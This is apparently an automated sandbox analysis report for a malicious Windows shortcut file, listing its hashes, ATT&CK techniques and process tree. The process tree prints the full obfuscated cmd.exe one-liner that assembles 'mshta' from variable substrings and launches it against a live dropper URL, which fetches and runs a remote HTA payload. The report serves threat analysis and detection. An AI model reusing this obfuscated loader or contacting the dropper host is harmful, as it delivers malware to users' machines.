540c8a7edf7b416cd9f6f39ca0cd37617d0d8c43feb2285b5fd201b965a80ac1

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:29

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General

Target
DOC-NVJEPZ.lnk
Size 2KB
Sample260804-kdrc3svgmd
SHA256 540c8a7edf7b416cd9f6f39ca0cd37617d0d8c43feb2285b5fd201b965a80ac1
MD5 9ae4d8aeb249b7db71681592c18e4997
SHA1 d5060f2491ee80c5b609479361608c585dd13013
SHA512 0ba6e89864d632ef047c74b3c7c00f0a02e4af29e888eeecbf319ce7fc028c94c7c1d8184972886f8670d667a894a9162c8d74b9bf714934052d2e2270fb6cb0
TLSH
T1BA5166543AE94498F3FA9F36E8FE2B90057BBD651DB0C59D0C51810C0412B02E4B7B73
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3896	cmd.exe
4620	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3896 wrote to memory of 4620	3896	cmd.exe	90
PID 4620 wrote to memory of 4468	4620	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NVJEPZ.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3896
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set lasXS=cfghppkwqzcfg&&set UlJh=infvpntyjjpnvcfxmqnrinf&&set IABA=lognzdxndkibmnwswfzfelog&&set JFj=wintyfgdeljwccwin&&set UBl=oldzoylsbomhemeold&&set hSOd=qbzstd&&set ZPyAo=m1artt&&set fIs=t71ms2&&set TubQ=2nht1g&&set IxG=wajp&&set NSplT=sysmbnjrrwfeqrevourhstsys&&set CMyx=cfgkiufifwgogarcfg&&set Tj=infujsamkinf&&set vEP=netnbszwxbvnet&&set XCvgS=winvnmvtwnbfspwin&&set nvM=infgpbimzinf&&set fqt=tmpmkdynzrueptmp&&set Wx=ht@tps://ma-@pdffill@e@r.@lat/h/estagio1.@ph@p?@r=391469@FB5D@8@2@D@B&&start /b !fIs:~3,2!!TubQ:~2,2!!IxG:~1,1! !Wx:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads